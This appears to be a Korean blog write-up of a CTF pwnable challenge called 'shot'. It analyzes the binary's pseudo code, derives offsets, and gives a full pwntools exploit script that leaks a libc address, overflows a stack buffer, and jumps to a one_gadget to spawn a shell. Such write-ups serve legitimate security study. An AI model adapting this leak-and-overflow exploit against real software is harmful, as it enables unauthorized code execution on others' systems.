shot
System/PWNABLE

shot

728x90

checksec

IDA로 pseudo code 확인

IDA x64로 실행

return 0;} // main함수의 pseudo code

2번 메뉴 선택: 원하는 주소값을 출력

3번 메뉴 선택: while 반복문 종료

1번 메뉴 선택: buf에 0x38byte만큼 입력

Input()함수의 pseudo code

입력받은 값을 buf에 저장

buf와 v7의 거리

buf-v7 = 20-10

 

debugging

offset 구하기

$2: "/bin/sh" 주소 - system() 주소

$3: "/bin/sh"주소 - libc 주소

 

one_gadget

one_gadget

offset

 

 

 

Exploit

from pwn import *
context.log_level = "debug"
p=process("./shot")
elf=ELF("./shot")
libc=elf.libc

p.sendlineafter("> ", '2')
p.recvuntil("stdin: ")
stdinaddr=int(p.recv(14),16)


libcbase=stdinaddr - libc.symbols['_IO_2_1_stdin_']
log.info(hex(stdinaddr))

p.sendlineafter("> ", '1')
dum=""
dum+="A"*(0x20-0x10)
dum+=p64(0)
dum+="A"*(0x28-(0x20-0x10)-8)
dum+=p64(libcbase+0x45216)

gdb.attach(p)

p.send(dum)

p.sendlineafter("> ", '3')


p.interactive()

libc = elf.libc //stack에서 libc의 주소를 받아온다

stdinarr = int(p.recv(14),16) // menu를 입력받을 때 입력받은 '2'의 주소 (stdin의 주소)가 출력되면 이를 stdin에 저장

libcbase = stdinarr - libc.symbols['_IO_2_1_stdin_'] // stdin의 심볼 '_IO_2_1_stdin_'을 libc에서 불러온다 > offset libcbase를 구한다

dum //payload부분; if(v7) exit()이 실행되지 않게 v7에 0을 저장한다

dum += "A"*(0x20-0x10) //v7과 buf 사이를 채움

dum += p64(0) // v7에 0을 넣어준다

dum += p64(libcbase+0x45216) // return address로 libcbase에 one_gadget으로 구한 offset을 더해 execve('/bin/sh')가 실행되도록 한다

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SMALL

'System > PWNABLE' 카테고리의 다른 글

babyROP  (0) 2020.06.21
simpleROP  (0) 2020.06.14
simpleRTL  (0) 2020.05.30
[TAMU 2019] pwn1  (0) 2020.05.30
RTL_x64  (0) 2020.05.25